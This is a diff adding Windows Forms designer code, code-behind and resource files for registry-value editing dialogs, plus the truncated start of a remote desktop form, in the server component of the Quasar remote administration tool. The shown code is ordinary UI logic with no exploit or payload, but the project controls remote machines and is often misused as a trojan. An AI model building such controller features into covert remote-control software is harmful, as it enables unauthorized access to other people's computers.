<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
+143
View File
@@ -0,0 +1,143 @@
namespace Quasar.Server.Forms
{
partial class FrmRegValueEditString
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRegValueEditString));
this.label1 = new System.Windows.Forms.Label();
this.valueNameTxtBox = new System.Windows.Forms.TextBox();
this.label2 = new System.Windows.Forms.Label();
this.valueDataTxtBox = new System.Windows.Forms.TextBox();
this.cancelButton = new System.Windows.Forms.Button();
this.okButton = new System.Windows.Forms.Button();
this.SuspendLayout();
//
// label1
//
this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(9, 12);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(66, 13);
this.label1.Text = "Value name:";
this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// valueNameTxtBox
//
this.valueNameTxtBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.valueNameTxtBox.Location = new System.Drawing.Point(12, 28);
this.valueNameTxtBox.Name = "valueNameTxtBox";
this.valueNameTxtBox.ReadOnly = true;
this.valueNameTxtBox.Size = new System.Drawing.Size(343, 20);
this.valueNameTxtBox.TabIndex = 3;
//
// label2
//
this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(9, 60);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(61, 13);
this.label2.Text = "Value data:";
this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// valueDataTxtBox
//
this.valueDataTxtBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.valueDataTxtBox.Location = new System.Drawing.Point(12, 76);
this.valueDataTxtBox.Name = "valueDataTxtBox";
this.valueDataTxtBox.Size = new System.Drawing.Size(343, 20);
this.valueDataTxtBox.TabIndex = 0;
//
// cancelButton
//
this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.cancelButton.Location = new System.Drawing.Point(280, 111);
this.cancelButton.Name = "cancelButton";
this.cancelButton.Size = new System.Drawing.Size(75, 23);
this.cancelButton.TabIndex = 2;
this.cancelButton.Text = "Cancel";
this.cancelButton.UseVisualStyleBackColor = true;
//
// okButton
//
this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK;
this.okButton.Location = new System.Drawing.Point(199, 111);
this.okButton.Name = "okButton";
this.okButton.Size = new System.Drawing.Size(75, 23);
this.okButton.TabIndex = 1;
this.okButton.Text = "OK";
this.okButton.UseVisualStyleBackColor = true;
this.okButton.Click += new System.EventHandler(this.okButton_Click);
//
// FrmRegValueEditString
//
this.AcceptButton = this.okButton;
this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.CancelButton = this.cancelButton;
this.ClientSize = new System.Drawing.Size(364, 146);
this.Controls.Add(this.cancelButton);
this.Controls.Add(this.okButton);
this.Controls.Add(this.label2);
this.Controls.Add(this.valueNameTxtBox);
this.Controls.Add(this.valueDataTxtBox);
this.Controls.Add(this.label1);
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.KeyPreview = true;
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmRegValueEditString";
this.ShowIcon = false;
this.ShowInTaskbar = false;
this.Text = "Edit String";
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.Label label1;
private System.Windows.Forms.TextBox valueNameTxtBox;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.TextBox valueDataTxtBox;
private System.Windows.Forms.Button cancelButton;
private System.Windows.Forms.Button okButton;
}
}
@@ -0,0 +1,31 @@
using System;
using System.Windows.Forms;
using Quasar.Common.Models;
using Quasar.Common.Utilities;
using Quasar.Server.Registry;
namespace Quasar.Server.Forms
{
public partial class FrmRegValueEditString : Form
{
private readonly RegValueData _value;
public FrmRegValueEditString(RegValueData value)
{
_value = value;
InitializeComponent();
this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name);
this.valueDataTxtBox.Text = ByteConverter.ToString(value.Data);
}
private void okButton_Click(object sender, EventArgs e)
{
_value.Data = ByteConverter.GetBytes(valueDataTxtBox.Text);
this.Tag = _value;
this.DialogResult = DialogResult.OK;
this.Close();
}
}
}
@@ -0,0 +1,197 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABMLAAATCwAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8BAP//AQD/
/wEAf/8CAH//AgD//wEA//8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8BP7//BH//
/wIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB///8CP7//BAAA/wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf/8CVar/AwAA
AAAAAAAAAAAAAG3a/gdOxPUaSLz4Kki2+CpHt/QZVdT/BgAAAAAAAAAAAAAAAFWq/wMAf38CAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//AgB/
/wIAAAAATLLyFD64+WI8vPqoPLv52zm6+PU3uvn5Nrj4+Tez9fQ4r/TYN6rxpTmk7l1Pn+8QAAAAAAB/
/wIAVaoDAAAAA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IAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////DOb1/zPe+f9X3Pr/Z978
/2bh+f9V5PT/Mf///woAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA////AX9//wIAAP8BAAD/AQAA/wEAAP8BAAD/AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/
/wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af//
/wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA
AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA
AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8=
</value>
</data>
</root>
+192
View File
@@ -0,0 +1,192 @@
using Quasar.Server.Controls;
using Quasar.Server.Enums;
namespace Quasar.Server.Forms
{
partial class FrmRegValueEditWord
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRegValueEditWord));
this.valueNameTxtBox = new System.Windows.Forms.TextBox();
this.label1 = new System.Windows.Forms.Label();
this.label2 = new System.Windows.Forms.Label();
this.cancelButton = new System.Windows.Forms.Button();
this.okButton = new System.Windows.Forms.Button();
this.baseBox = new System.Windows.Forms.GroupBox();
this.radioDecimal = new System.Windows.Forms.RadioButton();
this.radioHexa = new System.Windows.Forms.RadioButton();
this.valueDataTxtBox = new WordTextBox();
this.baseBox.SuspendLayout();
this.SuspendLayout();
//
// valueNameTxtBox
//
this.valueNameTxtBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.valueNameTxtBox.Location = new System.Drawing.Point(12, 27);
this.valueNameTxtBox.Name = "valueNameTxtBox";
this.valueNameTxtBox.ReadOnly = true;
this.valueNameTxtBox.Size = new System.Drawing.Size(334, 20);
this.valueNameTxtBox.TabIndex = 5;
//
// label1
//
this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(9, 11);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(66, 13);
this.label1.TabIndex = 10;
this.label1.Text = "Value name:";
this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// label2
//
this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(9, 53);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(61, 13);
this.label2.TabIndex = 9;
this.label2.Text = "Value data:";
this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// cancelButton
//
this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.cancelButton.Location = new System.Drawing.Point(271, 128);
this.cancelButton.Name = "cancelButton";
this.cancelButton.Size = new System.Drawing.Size(75, 23);
this.cancelButton.TabIndex = 2;
this.cancelButton.Text = "Cancel";
this.cancelButton.UseVisualStyleBackColor = true;
//
// okButton
//
this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK;
this.okButton.Location = new System.Drawing.Point(190, 128);
this.okButton.Name = "okButton";
this.okButton.Size = new System.Drawing.Size(75, 23);
this.okButton.TabIndex = 1;
this.okButton.Text = "OK";
this.okButton.UseVisualStyleBackColor = true;
this.okButton.Click += new System.EventHandler(this.okButton_Click);
//
// baseBox
//
this.baseBox.Controls.Add(this.radioDecimal);
this.baseBox.Controls.Add(this.radioHexa);
this.baseBox.Location = new System.Drawing.Point(190, 53);
this.baseBox.Name = "baseBox";
this.baseBox.Size = new System.Drawing.Size(156, 63);
this.baseBox.TabIndex = 6;
this.baseBox.TabStop = false;
this.baseBox.Text = "Base";
//
// radioDecimal
//
this.radioDecimal.AutoSize = true;
this.radioDecimal.Location = new System.Drawing.Point(14, 40);
this.radioDecimal.Name = "radioDecimal";
this.radioDecimal.Size = new System.Drawing.Size(63, 17);
this.radioDecimal.TabIndex = 4;
this.radioDecimal.Text = "Decimal";
this.radioDecimal.UseVisualStyleBackColor = true;
//
// radioHexa
//
this.radioHexa.AutoSize = true;
this.radioHexa.Checked = true;
this.radioHexa.Location = new System.Drawing.Point(14, 17);
this.radioHexa.Name = "radioHexa";
this.radioHexa.Size = new System.Drawing.Size(86, 17);
this.radioHexa.TabIndex = 3;
this.radioHexa.TabStop = true;
this.radioHexa.Text = "Hexadecimal";
this.radioHexa.UseVisualStyleBackColor = true;
this.radioHexa.CheckedChanged += new System.EventHandler(this.radioHex_CheckboxChanged);
//
// valueDataTxtBox
//
this.valueDataTxtBox.IsHexNumber = true;
this.valueDataTxtBox.Location = new System.Drawing.Point(12, 70);
this.valueDataTxtBox.MaxLength = 8;
this.valueDataTxtBox.Name = "valueDataTxtBox";
this.valueDataTxtBox.Size = new System.Drawing.Size(161, 20);
this.valueDataTxtBox.TabIndex = 0;
this.valueDataTxtBox.Text = "0";
this.valueDataTxtBox.Type = WordType.DWORD;
//
// FrmRegValueEditWord
//
this.AcceptButton = this.okButton;
this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.CancelButton = this.cancelButton;
this.ClientSize = new System.Drawing.Size(358, 163);
this.Controls.Add(this.valueDataTxtBox);
this.Controls.Add(this.cancelButton);
this.Controls.Add(this.baseBox);
this.Controls.Add(this.okButton);
this.Controls.Add(this.label2);
this.Controls.Add(this.valueNameTxtBox);
this.Controls.Add(this.label1);
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.KeyPreview = true;
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmRegValueEditWord";
this.ShowIcon = false;
this.Text = "Edit";
this.baseBox.ResumeLayout(false);
this.baseBox.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.TextBox valueNameTxtBox;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.Button cancelButton;
private System.Windows.Forms.Button okButton;
private System.Windows.Forms.GroupBox baseBox;
private System.Windows.Forms.RadioButton radioDecimal;
private System.Windows.Forms.RadioButton radioHexa;
private Controls.WordTextBox valueDataTxtBox;
}
}
@@ -0,0 +1,80 @@
using System;
using System.Windows.Forms;
using Microsoft.Win32;
using Quasar.Common.Models;
using Quasar.Common.Utilities;
using Quasar.Server.Enums;
namespace Quasar.Server.Forms
{
public partial class FrmRegValueEditWord : Form
{
private readonly RegValueData _value;
private const string DWORD_WARNING = "The decimal value entered is greater than the maximum value of a DWORD (32-bit number). Should the value be truncated in order to continue?";
private const string QWORD_WARNING = "The decimal value entered is greater than the maximum value of a QWORD (64-bit number). Should the value be truncated in order to continue?";
public FrmRegValueEditWord(RegValueData value)
{
_value = value;
InitializeComponent();
this.valueNameTxtBox.Text = value.Name;
if (value.Kind == RegistryValueKind.DWord)
{
this.Text = "Edit DWORD (32-bit) Value";
this.valueDataTxtBox.Type = WordType.DWORD;
this.valueDataTxtBox.Text = ByteConverter.ToUInt32(value.Data).ToString("x");
}
else
{
this.Text = "Edit QWORD (64-bit) Value";
this.valueDataTxtBox.Type = WordType.QWORD;
this.valueDataTxtBox.Text = ByteConverter.ToUInt64(value.Data).ToString("x");
}
}
private void radioHex_CheckboxChanged(object sender, EventArgs e)
{
if (valueDataTxtBox.IsHexNumber == radioHexa.Checked)
return;
if(valueDataTxtBox.IsConversionValid() || IsOverridePossible())
valueDataTxtBox.IsHexNumber = radioHexa.Checked;
else
radioDecimal.Checked = true;
}
private void okButton_Click(object sender, EventArgs e)
{
if (valueDataTxtBox.IsConversionValid() || IsOverridePossible())
{
_value.Data = _value.Kind == RegistryValueKind.DWord
? ByteConverter.GetBytes(valueDataTxtBox.UIntValue)
: ByteConverter.GetBytes(valueDataTxtBox.ULongValue);
this.Tag = _value;
this.DialogResult = DialogResult.OK;
}
else
{
this.DialogResult = DialogResult.None;
}
this.Close();
}
private DialogResult ShowWarning(string msg, string caption)
{
return MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
}
private bool IsOverridePossible()
{
string message = _value.Kind == RegistryValueKind.DWord ? DWORD_WARNING : QWORD_WARNING;
return ShowWarning(message, "Overflow") == DialogResult.Yes;
}
}
}
@@ -0,0 +1,197 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABMLAAATCwAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8BAP//AQD/
/wEAf/8CAH//AgD//wEA//8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8BP7//BH//
/wIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB///8CP7//BAAA/wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf/8CVar/AwAA
AAAAAAAAAAAAAG3a/gdOxPUaSLz4Kki2+CpHt/QZVdT/BgAAAAAAAAAAAAAAAFWq/wMAf38CAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//AgB/
/wIAAAAATLLyFD64+WI8vPqoPLv52zm6+PU3uvn5Nrj4+Tez9fQ4r/TYN6rxpTmk7l1Pn+8QAAAAAAB/
/wIAVaoDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWq
/wMAAAAASLb+Djux9H04tPfoOMH//y/B//4itf//Hq/8/yGt+P8hqvj/HKf4/x+p+v8sr//+M6n5/zKa
6eQ0lud1RYvQCwAAAABVqqoDAAAAAAAAAAAAAAAAAAAAA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IAAP8BAAD/AQAA/wEAAP8BAAD/AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/
/wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af//
/wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA
AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA
AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8=
</value>
</data>
</root>
+240
View File
@@ -0,0 +1,240 @@
using Quasar.Server.Controls;
namespace Quasar.Server.Forms
{
partial class FrmRemoteDesktop
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
